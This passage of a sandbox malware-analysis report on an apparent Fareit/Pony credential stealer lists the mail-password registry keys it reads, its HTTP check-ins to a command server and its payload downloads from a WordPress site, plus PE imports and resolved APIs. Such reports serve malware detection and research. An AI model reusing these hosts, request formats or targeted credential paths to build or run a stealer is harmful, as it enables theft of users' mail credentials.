                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts"
            },
            {
                "key": "HKEY_CURRENT_USER\\Identities\\{0A258175-2D14-4D69-9955-E200F247250F}\\Software\\Microsoft\\Internet Account Manager\\Accounts"
            }
        ]
    },
    {
        "Description": "Created network traffic indicative of malicious activity",
        "Details": [
            {
                "signature": "ET TROJAN Fareit/Pony Downloader Checkin 2"
            }
        ]
    }
]

[*] Started Service: [
    "VaultSvc",
    "WerSvc"
]

[*] Executed Commands: [
    "cmd /K",
    "C:\\Users\\user\\AppData\\Local\\Temp\\BN525D.tmp",
    "C:\\Windows\\system32\\lsass.exe",
    "taskhost.exe $(Arg0)",
    "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
    "C:\\Windows\\system32\\WerFault.exe -u -p 2840 -s 296"
]

[*] Mutexes: [
    "DBWinMutex",
    "Local\\mtxLogMeInIgnition.IgnitionMutex",
    "Local\\WERReportingForProcess2840",
    "Global\\\\xe5\\x88\\x90\\xc2\\xa6"
]

[*] Modified Files: [
    "\\??\\PIPE\\samr",
    "C:\\Users\\user\\AppData\\Local\\Temp\\BN525D.tmp",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\6989c65b-f90d-4030-b893-c2a331a9b917",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERD45A.tmp.appcompat.txt",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER2833.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER3340.tmp.hdmp"
]

[*] Deleted Files: [
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERD45A.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERD45A.tmp.appcompat.txt",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER2833.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER2833.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER3340.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WER3340.tmp.hdmp"
]

[*] Modified Registry Keys: [
    "HKEY_CURRENT_USER\\Software\\WinRAR",
    "HKEY_CURRENT_USER\\Software\\WinRAR\\HWID",
    "HKEY_CURRENT_USER\\Software\\WinRAR\\Client Hash",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent"
]

[*] Deleted Registry Keys: []

[*] DNS Communications: [
    {
        "type": "A",
        "request": "api.ipify.org",
        "answers": [
            {
                "data": "54.243.198.12",
                "type": "A"
            },
            {
                "data": "54.204.36.156",
                "type": "A"
            },
            {
                "data": "107.22.215.20",
                "type": "A"
            },
            {
                "data": "50.16.229.140",
                "type": "A"
            },
            {
                "data": "nagano-19599.herokussl.com",
                "type": "CNAME"
            },
            {
                "data": "23.21.121.219",
                "type": "A"
            },
            {
                "data": "54.243.147.226",
                "type": "A"
            },
            {
                "data": "54.235.124.112",
                "type": "A"
            },
            {
                "data": "elb097307-934924932.us-east-1.elb.amazonaws.com",
                "type": "CNAME"
            },
            {
                "data": "50.19.247.198",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "totharduron.com",
        "answers": [
            {
                "data": "54.37.139.198",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "elcarrocafeny.com",
        "answers": [
            {
                "data": "166.62.111.64",
                "type": "A"
            }
        ]
    }
]

[*] Domains: [
    {
        "ip": "54.37.139.198",
        "domain": "totharduron.com"
    },
    {
        "ip": "166.62.111.64",
        "domain": "elcarrocafeny.com"
    },
    {
        "ip": "23.21.121.219",
        "domain": "api.ipify.org"
    }
]

[*] Network Communication - ICMP: []

[*] Network Communication - HTTP: [
    {
        "count": 1,
        "body": "",
        "uri": "http://api.ipify.org/",
        "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
        "method": "GET",
        "host": "api.ipify.org",
        "version": "1.1",
        "path": "/",
        "data": "GET / HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: api.ipify.org\r\nCache-Control: no-cache\r\n\r\n",
        "port": 80
    },
    {
        "count": 13,
        "body": "GUID=13962711393074855960&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)",
        "uri": "http://totharduron.com/4/forum.php",
        "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
        "method": "POST",
        "host": "totharduron.com",
        "version": "1.1",
        "path": "/4/forum.php",
        "data": "POST /4/forum.php HTTP/1.1\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: totharduron.com\r\nContent-Length: 109\r\nCache-Control: no-cache\r\n\r\nGUID=13962711393074855960&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1",
        "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
        "method": "GET",
        "host": "elcarrocafeny.com",
        "version": "1.1",
        "path": "/wp-content/plugins/wp-symetrio/1",
        "data": "GET /wp-content/plugins/wp-symetrio/1 HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: elcarrocafeny.com\r\nCache-Control: no-cache\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://totharduron.com/mlu/forum.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
        "method": "POST",
        "host": "totharduron.com",
        "version": "1.0",
        "path": "/mlu/forum.php",
        "data": "POST /mlu/forum.php HTTP/1.0\r\nHost: totharduron.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 205\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3",
        "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
        "method": "GET",
        "host": "elcarrocafeny.com",
        "version": "1.1",
        "path": "/wp-content/plugins/wp-symetrio/3",
        "data": "GET /wp-content/plugins/wp-symetrio/3 HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: elcarrocafeny.com\r\nCache-Control: no-cache\r\n\r\n",
        "port": 80
    }
]

[*] Network Communication - SMTP: []

[*] Network Communication - Hosts: []

[*] Network Communication - IRC: []

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "GetDateFormatA",
                        "address": "0x412024"
                    },
                    {
                        "name": "GetTimeFormatA",
                        "address": "0x412028"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x41202c"
                    },
                    {
                        "name": "GetLocaleInfoA",
                        "address": "0x412030"
                    },
                    {
                        "name": "VirtualProtect",
                        "address": "0x412034"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x412038"
                    },
                    {
                        "name": "GetStringTypeA",
                        "address": "0x41203c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x412040"
                    },
                    {
                        "name": "LCMapStringA",
                        "address": "0x412044"
                    },
                    {
                        "name": "LoadLibraryA",
                        "address": "0x412048"
                    },
                    {
                        "name": "InterlockedExchange",
                        "address": "0x41204c"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x412050"
                    },
                    {
                        "name": "GetConsoleOutputCP",
                        "address": "0x412054"
                    },
                    {
                        "name": "WriteConsoleA",
                        "address": "0x412058"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x41205c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x412060"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x412064"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x412068"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x41206c"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x412070"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x412074"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x412078"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x41207c"
                    },
                    {
                        "name": "lstrlenW",
                        "address": "0x412080"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x412084"
                    },
                    {
                        "name": "MapViewOfFile",
                        "address": "0x412088"
                    },
                    {
                        "name": "CreateFileMappingW",
                        "address": "0x41208c"
                    },
                    {
                        "name": "DeleteFileW",
                        "address": "0x412090"
                    },
                    {
                        "name": "UnmapViewOfFile",
                        "address": "0x412094"
                    },
                    {
                        "name": "FileTimeToDosDateTime",
                        "address": "0x412098"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x41209c"
                    },
                    {
                        "name": "SetEvent",
                        "address": "0x4120a0"
                    },
                    {
                        "name": "ResumeThread",
                        "address": "0x4120a4"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x4120a8"
                    },
                    {
                        "name": "SuspendThread",
                        "address": "0x4120ac"
                    },
                    {
                        "name": "ResetEvent",
                        "address": "0x4120b0"
                    },
                    {
                        "name": "CreateThread",
                        "address": "0x4120b4"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x4120b8"
                    },
                    {
                        "name": "GlobalUnlock",
                        "address": "0x4120bc"
                    },
                    {
                        "name": "GlobalLock",
                        "address": "0x4120c0"
                    },
                    {
                        "name": "GlobalAlloc",
                        "address": "0x4120c4"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x4120c8"
                    },
                    {
                        "name": "SizeofResource",
                        "address": "0x4120cc"
                    },
                    {
                        "name": "GetSystemDefaultLangID",
                        "address": "0x4120d0"
                    },
                    {
                        "name": "FindResourceW",
                        "address": "0x4120d4"
                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x4120d8"
                    },
                    {
                        "name": "lstrcatW",
                        "address": "0x4120dc"
                    },
                    {
                        "name": "GetTempPathW",
                        "address": "0x4120e0"
                    },
                    {
                        "name": "CreateEventW",
                        "address": "0x4120e4"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x4120e8"
                    },
                    {
                        "name": "FindFirstFileW",
                        "address": "0x4120ec"
                    },
                    {
                        "name": "GetCommandLineW",
                        "address": "0x4120f0"
                    },
                    {
                        "name": "FileTimeToLocalFileTime",
                        "address": "0x4120f4"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4120f8"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x4120fc"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x412100"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x412104"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x412108"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x41210c"
                    },
                    {
                        "name": "GetEnvironmentStrings",
                        "address": "0x412110"
                    },
                    {
                        "name": "FreeEnvironmentStringsA",
                        "address": "0x412114"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x412118"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x41211c"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x412120"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x412124"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x412128"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x41212c"
                    },
                    {
                        "name": "GetCurrentThread",
                        "address": "0x412130"
                    },
                    {
                        "name": "InterlockedDecrement",
                        "address": "0x412134"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x412138"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x41213c"
                    },
                    {
                        "name": "InterlockedIncrement",
                        "address": "0x412140"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x412144"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x412148"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x41214c"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x412150"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x412154"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x412158"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x41215c"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x412160"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x412164"
                    },
                    {
                        "name": "HeapDestroy",
                        "address": "0x412168"
                    },
                    {
                        "name": "HeapCreate",
                        "address": "0x41216c"
                    },
                    {
                        "name": "HeapReAlloc",
                        "address": "0x412170"
                    },
                    {
                        "name": "VirtualAlloc",
                        "address": "0x412174"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x412178"
                    },
                    {
                        "name": "SetEndOfFile",
                        "address": "0x41217c"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x412180"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x412184"
                    },
                    {
                        "name": "GetTimeZoneInformation",
                        "address": "0x412188"
                    },
                    {
                        "name": "CompareStringA",
                        "address": "0x41218c"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x412190"
                    },
                    {
                        "name": "LoadResource",
                        "address": "0x412194"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x412198"
                    },
                    {
                        "name": "SetConsoleCtrlHandler",
                        "address": "0x41219c"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4121a0"
                    },
                    {
                        "name": "VirtualFree",
                        "address": "0x4121a4"
                    },
                    {
                        "name": "FatalAppExitA",
                        "address": "0x4121a8"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x4121ac"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4121b0"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4121b4"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x4121b8"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x4121bc"
                    },
                    {
                        "name": "GlobalAddAtomW",
                        "address": "0x4121c0"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x4121c4"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x4121c8"
                    },
                    {
                        "name": "GetStartupInfoA",
                        "address": "0x4121cc"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4121d0"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4121d4"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x4121d8"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x4121dc"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x4121e0"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x4121e4"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x4121e8"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x4121ec"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x4121f0"
                    },
                    {
                        "name": "SetHandleCount",
                        "address": "0x4121f4"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x4121f8"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x4121fc"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "DialogBoxParamW",
                        "address": "0x412204"
                    },
                    {
                        "name": "GetSysColor",
                        "address": "0x412208"
                    },
                    {
                        "name": "EnableWindow",
                        "address": "0x41220c"
                    },
                    {
                        "name": "SendMessageA",
                        "address": "0x412210"
                    },
                    {
                        "name": "LoadIconW",
                        "address": "0x412214"
                    },
                    {
                        "name": "wsprintfW",
                        "address": "0x412218"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x41221c"
                    },
                    {
                        "name": "SetRect",
                        "address": "0x412220"
                    },
                    {
                        "name": "ValidateRect",
                        "address": "0x412224"
                    },
                    {
                        "name": "GetWindowLongW",
                        "address": "0x412228"
                    },
                    {
                        "name": "SetWindowLongW",
                        "address": "0x41222c"
                    },
                    {
                        "name": "SetWindowTextW",
                        "address": "0x412230"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x412234"
                    },
                    {
                        "name": "SetDlgItemTextW",
                        "address": "0x412238"
                    },
                    {
                        "name": "IsWindow",
                        "address": "0x41223c"
                    },
                    {
                        "name": "GetWindowRect",
                        "address": "0x412240"
                    },
                    {
                        "name": "SetWindowPos",
                        "address": "0x412244"
                    },
                    {
                        "name": "GetDlgItem",
                        "address": "0x412248"
                    },
                    {
                        "name": "SendMessageW",
                        "address": "0x41224c"
                    },
                    {
                        "name": "PostMessageW",
                        "address": "0x412250"
                    },
                    {
                        "name": "InvalidateRect",
                        "address": "0x412254"
                    },
                    {
                        "name": "ShowWindow",
                        "address": "0x412258"
                    },
                    {
                        "name": "EndDialog",
                        "address": "0x41225c"
                    },
                    {
                        "name": "LoadCursorW",
                        "address": "0x412260"
                    },
                    {
                        "name": "SetCursor",
                        "address": "0x412264"
                    },
                    {
                        "name": "CallWindowProcW",
                        "address": "0x412268"
                    },
                    {
                        "name": "MessageBoxW",
                        "address": "0x41226c"
                    },
                    {
                        "name": "GetClientRect",
                        "address": "0x412270"
                    },
                    {
                        "name": "GetWindowTextW",
                        "address": "0x412274"
                    },
                    {
                        "name": "LockWindowUpdate",
                        "address": "0x412278"
                    },
                    {
                        "name": "ScreenToClient",
                        "address": "0x41227c"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x412000"
                    },
                    {
                        "name": "GetObjectW",
                        "address": "0x412004"
                    },
                    {
                        "name": "CreateSolidBrush",
                        "address": "0x412008"
                    },
                    {
                        "name": "SelectObject",
                        "address": "0x41200c"
                    },
                    {
                        "name": "SetTextColor",
                        "address": "0x412010"
                    },
                    {
                        "name": "GetStockObject",
                        "address": "0x412014"
                    },
                    {
                        "name": "CreateFontIndirectW",
                        "address": "0x412018"
                    },
                    {
                        "name": "SetBkMode",
                        "address": "0x41201c"
                    }
                ],
                "dll": "GDI32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00026cd5",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x00026cd5",
        "icon_hash": null,
        "entrypoint": "0x0040a7af",
        "timestamp": "2019-04-23 05:10:14",
        "osversion": "4.0",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00010e00",
                "entropy": "5.14",
                "raw_address": "0x00000400",
                "virtual_size": "0x00010c90",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00012000",
                "size_of_data": "0x00001400",
                "entropy": "4.68",
                "raw_address": "0x00011200",
                "virtual_size": "0x000013ee",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00014000",
                "size_of_data": "0x00003c00",
                "entropy": "1.07",
                "raw_address": "0x00012600",
                "virtual_size": "0x00006cc0",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x0001b000",
                "size_of_data": "0x00002000",
                "entropy": "5.21",
                "raw_address": "0x00016200",
                "virtual_size": "0x00002000",
                "characteristics_raw": "0x40000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00002f10",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x0000049c"
            },
            {
                "virtual_address": "0x00012640",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x00000050"
            },
            {
                "virtual_address": "0x0001b000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00001328"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x00000284"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "066917207e1298837dffe54f19e5875a",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 3,
        "versioninfo": []
    }
}

[*] Resolved APIs: [
    "kernel32.dll.GetModuleHandleA",
    "kernel32.dll.LoadLibraryA",
    "kernel32.dll.VirtualAlloc",
    "kernel32.dll.VirtualFree",
    "kernel32.dll.OutputDebugStringA",
    "ntdll.dll._stricmp",
    "ntdll.dll.memset",
    "ntdll.dll.memcpy",
    "wininet.dll.InternetOpenA",
    "wininet.dll.HttpSendRequestA",
    "wininet.dll.HttpQueryInfoA",
    "wininet.dll.InternetCrackUrlA",
    "wininet.dll.HttpOpenRequestA",
    "wininet.dll.InternetSetOptionA",
    "wininet.dll.InternetQueryOptionA",
    "wininet.dll.InternetReadFile",
    "wininet.dll.InternetConnectA",
    "wininet.dll.InternetCloseHandle",
    "iphlpapi.dll.GetAdaptersAddresses",
    "psapi.dll.GetProcessImageFileNameA",
    "psapi.dll.EnumProcesses",
    "ntdll.dll.RtlDecompressBuffer",
    "kernel32.dll.GetComputerNameA",
    "kernel32.dll.CreateFileA",
    "kernel32.dll.GetTempFileNameA",
    "kernel32.dll.HeapAlloc",
    "kernel32.dll.HeapFree",
    "kernel32.dll.GetProcessHeap",
    "kernel32.dll.VirtualQuery",
    "kernel32.dll.GetVersion",
    "kernel32.dll.lstrcpyA",
    "kernel32.dll.lstrlenA",
    "kernel32.dll.GetWindowsDirectoryA",
    "kernel32.dll.GetVolumeInformationA",
    "kernel32.dll.ExitProcess",
    "kernel32.dll.Sleep",
    "kernel32.dll.lstrcatA",
    "kernel32.dll.GetModuleFileNameA",
    "kernel32.dll.CreateProcessA",
    "kernel32.dll.GetProcAddress",
    "kernel32.dll.VirtualAllocEx",
    "kernel32.dll.VirtualFreeEx",
    "kernel32.dll.OpenProcess",
    "kernel32.dll.TerminateProcess",
    "kernel32.dll.CreateThread",
    "kernel32.dll.GetProcessId",
    "kernel32.dll.GetLastError",
    "kernel32.dll.WriteProcessMemory",
    "kernel32.dll.GetThreadContext",
    "kernel32.dll.SetThreadContext",
    "kernel32.dll.ResumeThread",
    "kernel32.dll.WriteFile",
    "kernel32.dll.CloseHandle",
    "kernel32.dll.GetSystemInfo",
    "kernel32.dll.lstrcmpiA",
    "kernel32.dll.GetEnvironmentVariableA",
    "kernel32.dll.GetTempPathA",
    "user32.dll.wsprintfA",
    "advapi32.dll.CryptDestroyHash",
    "advapi32.dll.CryptHashData",
    "advapi32.dll.CryptCreateHash",
    "advapi32.dll.CryptDecrypt",
    "advapi32.dll.CryptDestroyKey",
    "advapi32.dll.CryptDeriveKey",
    "advapi32.dll.CryptReleaseContext",
    "advapi32.dll.CryptAcquireContextA",
    "advapi32.dll.LookupAccountSidA",
    "advapi32.dll.GetTokenInformation",
    "advapi32.dll.OpenProcessToken",
    "kernel32.dll.SortGetHandle",
    "kernel32.dll.SortCloseHandle",
    "sechost.dll.LookupAccountSidLocalA",
    "rasapi32.dll.RasConnectionNotificationW",
    "sechost.dll.NotifyServiceStatusChangeA",
    "cryptbase.dll.SystemFunction036",
    "kernel32.dll.GetNativeSystemInfo",
    "cryptsp.dll.CryptAcquireContextA",
    "cryptsp.dll.CryptCreateHash",
    "cryptsp.dll.CryptHashData",
    "cryptsp.dll.CryptDeriveKey",
    "cryptsp.dll.CryptDecrypt",
    "cryptsp.dll.CryptDestroyHash",
    "cryptsp.dll.CryptDestroyKey",
    "cryptsp.dll.CryptReleaseContext",
    "wsock32.dll.inet_addr",
    "wsock32.dll.gethostbyname",
    "wsock32.dll.socket",
    "wsock32.dll.connect",
    "wsock32.dll.closesocket",
    "wsock32.dll.send",
    "wsock32.dll.select",
    "wsock32.dll.recv",
    "wsock32.dll.setsockopt",
    "wsock32.dll.WSAStartup",
    "kernel32.dll.ReadFile",
    "kernel32.dll.GlobalLock",
    "kernel32.dll.GlobalUnlock",
    "kernel32.dll.LocalFree",
    "kernel32.dll.LocalAlloc",
    "kernel32.dll.GetTickCount",
    "kernel32.dll.GetFileAttributesA",
    "kernel32.dll.ExpandEnvironmentStringsA",
    "kernel32.dll.GetFileSize",
    "kernel32.dll.CreateFileMappingA",
    "kernel32.dll.MapViewOfFile",
    "kernel32.dll.UnmapViewOfFile",
    "kernel32.dll.CreateDirectoryA",
    "kernel32.dll.DeleteFileA",
    "kernel32.dll.GetCurrentProcess",
    "kernel32.dll.WideCharToMultiByte",
    "kernel32.dll.lstrcmpA",
    "kernel32.dll.CreateToolhelp32Snapshot",
    "kernel32.dll.Process32First",
    "kernel32.dll.Process32Next",
    "kernel32.dll.FindFirstFileA",
    "kernel32.dll.FindNextFileA",
    "kernel32.dll.FindClose",
    "kernel32.dll.GetVersionExA",
    "kernel32.dll.GetLocaleInfoA",
    "kernel32.dll.GetPrivateProfileStringA",
    "kernel32.dll.SetCurrentDirectoryA",
    "kernel32.dll.GetPrivateProfileSectionNamesA",
    "kernel32.dll.GetPrivateProfileIntA",
    "kernel32.dll.GetCurrentDirectoryA",
    "kernel32.dll.lstrlenW",
    "kernel32.dll.CreateMutexA",
    "kernel32.dll.LCMapStringA",
    "kernel32.dll.SetUnhandledExceptionFilter",
